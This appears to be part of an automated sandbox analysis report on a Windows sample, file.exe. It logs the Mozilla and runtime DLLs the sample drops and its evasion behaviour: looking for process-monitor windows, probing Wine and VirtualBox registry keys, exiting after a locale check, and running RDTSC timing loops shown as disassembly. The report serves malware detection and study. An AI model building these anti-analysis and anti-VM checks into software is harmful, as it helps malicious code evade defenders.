Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_007D9270

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-58001

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8579A second address: B857B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push ebx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a jmp 00007F209CBE009Fh 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B857B4 second address: B857D8 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jnc 00007F209CD00FF6h 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F209CD01008h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B846BC second address: B846C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B846C0 second address: B846D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CD00FFAh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B846D7 second address: B846DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B846DB second address: B846F5 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 je 00007F209CD00FF6h 0x0000000d jmp 00007F209CD00FFBh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B846F5 second address: B846FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B849CB second address: B849D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84B6F second address: B84B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84CD2 second address: B84CF1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 pop ecx 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F209CD01000h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84CF1 second address: B84CF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84E8F second address: B84EA3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c jng 00007F209CD00FF6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84EA3 second address: B84EAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84EAC second address: B84EB0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84EB0 second address: B84EBA instructions: 0x00000000 rdtsc 0x00000002 jns 00007F209CBE0096h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B84EBA second address: B84EC0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B85022 second address: B85042 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F209CBE00A8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8838E second address: B88392 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B88485 second address: B8848E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B8848E second address: B884B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jmp 00007F209CD01004h 0x0000000f mov eax, dword ptr [eax] 0x00000011 push edi 0x00000012 push eax 0x00000013 push edx 0x00000014 push edi 0x00000015 pop edi 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B884B3 second address: B8851E instructions: 0x00000000 rdtsc 0x00000002 ja 00007F209CBE0096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f jmp 00007F209CBE009Bh 0x00000014 pop eax 0x00000015 jmp 00007F209CBE00A0h 0x0000001a push 00000003h 0x0000001c ja 00007F209CBE00A8h 0x00000022 jmp 00007F209CBE00A2h 0x00000027 push 00000000h 0x00000029 push ebx 0x0000002a mov dword ptr [ebp+122D1C49h], eax 0x00000030 pop edx 0x00000031 mov ecx, 181E6896h 0x00000036 push 00000003h 0x00000038 mov di, cx 0x0000003b mov dx, ECE1h 0x0000003f push 44790F4Dh 0x00000044 push edi 0x00000045 jnp 00007F209CBE009Ch 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B885C1 second address: B885D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01002h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B885D7 second address: B8862A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jp 00007F209CBE0096h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e mov dword ptr [esp], eax 0x00000011 cld 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007F209CBE0098h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 0000001Bh 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov ecx, dword ptr [ebp+122D1A19h] 0x00000034 push 59A91287h 0x00000039 pushad 0x0000003a push edi 0x0000003b jnp 00007F209CBE0096h 0x00000041 pop edi 0x00000042 js 00007F209CBE009Ch 0x00000048 push eax 0x00000049 push edx 0x0000004a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA8E4E second address: BA8E52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA8E52 second address: BA8E58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA70B2 second address: BA70B6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA70B6 second address: BA70BE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA70BE second address: BA70E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CD01005h 0x00000007 js 00007F209CD00FF6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pop edx 0x00000010 pop eax 0x00000011 push ebx 0x00000012 pushad 0x00000013 push esi 0x00000014 pop esi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA77E7 second address: BA77EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7A9C second address: BA7AA0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7AA0 second address: BA7AA6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F1F second address: BA7F3E instructions: 0x00000000 rdtsc 0x00000002 je 00007F209CD00FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jmp 00007F209CD01005h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F3E second address: BA7F45 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA7F45 second address: BA7F63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pushad 0x00000006 jmp 00007F209CD01004h 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA8547 second address: BA854B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA86EB second address: BA86EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA89C5 second address: BA89D9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F209CBE009Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA89D9 second address: BA89F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007F209CD01001h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA89F0 second address: BA89F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA89F4 second address: BA8A17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F209CD01009h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BA8A17 second address: BA8A1D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAE20A second address: BAE215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F209CD00FF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAE7BB second address: BAE7E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 ja 00007F209CBE0096h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007F209CBE00A1h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c jno 00007F209CBE0096h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAE7E9 second address: BAE7ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAE7ED second address: BAE7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAE7F3 second address: BAE7FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAE7FA second address: BAE808 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAFCA7 second address: BAFCEC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnl 00007F209CD00FF6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F209CD01006h 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F209CD00FFBh 0x00000018 jmp 00007F209CD01006h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAFCEC second address: BAFCFE instructions: 0x00000000 rdtsc 0x00000002 ja 00007F209CBE0096h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jbe 00007F209CBE00A2h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAFCFE second address: BAFD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F209CD00FF6h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BAFD13 second address: BAFD1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F209CBE0096h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7CE6B second address: B7CE71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B7CE71 second address: B7CE75 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB2924 second address: BB2947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jno 00007F209CD0100Eh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B747E2 second address: B747F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jne 00007F209CBE0096h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB762F second address: BB7640 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push ebx 0x00000007 push eax 0x00000008 push edx 0x00000009 jng 00007F209CD00FF6h 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7640 second address: BB7644 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: B804DA second address: B804E0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7D30 second address: BB7D44 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F209CBE009Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7D44 second address: BB7D5C instructions: 0x00000000 rdtsc 0x00000002 ja 00007F209CD00FF6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [esp+04h] 0x0000000f pushad 0x00000010 jc 00007F209CD00FFCh 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7D5C second address: BB7D92 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F209CBE00AEh 0x0000000a jmp 00007F209CBE00A8h 0x0000000f popad 0x00000010 mov eax, dword ptr [eax] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 jmp 00007F209CBE009Bh 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7D92 second address: BB7DEE instructions: 0x00000000 rdtsc 0x00000002 js 00007F209CD01000h 0x00000008 jmp 00007F209CD00FFAh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov dword ptr [esp+04h], eax 0x00000013 jmp 00007F209CD00FFEh 0x00000018 pop eax 0x00000019 push 00000000h 0x0000001b push ecx 0x0000001c call 00007F209CD00FF8h 0x00000021 pop ecx 0x00000022 mov dword ptr [esp+04h], ecx 0x00000026 add dword ptr [esp+04h], 00000017h 0x0000002e inc ecx 0x0000002f push ecx 0x00000030 ret 0x00000031 pop ecx 0x00000032 ret 0x00000033 clc 0x00000034 push 03323A70h 0x00000039 push eax 0x0000003a push edx 0x0000003b jmp 00007F209CD00FFEh 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB7F7C second address: BB7F83 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB83FD second address: BB8406 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB84EE second address: BB84F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8ADD second address: BB8AE2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8AE2 second address: BB8AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8DE9 second address: BB8DED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8DED second address: BB8DF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8DF1 second address: BB8DFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8DFB second address: BB8DFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8E9E second address: BB8EA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8EA2 second address: BB8EA6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8F18 second address: BB8F2C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push ecx 0x00000009 js 00007F209CD00FF6h 0x0000000f pop ecx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8F2C second address: BB8F30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8F30 second address: BB8F34 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB8F34 second address: BB8F58 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 nop 0x00000008 xor edi, 206D2E24h 0x0000000e xchg eax, ebx 0x0000000f jl 00007F209CBE009Eh 0x00000015 jns 00007F209CBE0098h 0x0000001b push eax 0x0000001c pushad 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9F89 second address: BB9F94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F209CD00FF6h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9DD2 second address: BB9E01 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F209CBE009Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b pushad 0x0000000c jnc 00007F209CBE00A9h 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9F94 second address: BB9FF3 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007F209CD00FFAh 0x00000008 pop ecx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edx 0x0000000f call 00007F209CD00FF8h 0x00000014 pop edx 0x00000015 mov dword ptr [esp+04h], edx 0x00000019 add dword ptr [esp+04h], 00000014h 0x00000021 inc edx 0x00000022 push edx 0x00000023 ret 0x00000024 pop edx 0x00000025 ret 0x00000026 stc 0x00000027 push 00000000h 0x00000029 cmc 0x0000002a push 00000000h 0x0000002c push 00000000h 0x0000002e push ecx 0x0000002f call 00007F209CD00FF8h 0x00000034 pop ecx 0x00000035 mov dword ptr [esp+04h], ecx 0x00000039 add dword ptr [esp+04h], 00000018h 0x00000041 inc ecx 0x00000042 push ecx 0x00000043 ret 0x00000044 pop ecx 0x00000045 ret 0x00000046 add dword ptr [ebp+122D180Eh], esi 0x0000004c push eax 0x0000004d push edi 0x0000004e push eax 0x0000004f push edx 0x00000050 push eax 0x00000051 push edx 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BB9FF3 second address: BB9FF7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: BBC403 second address: BBC408 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
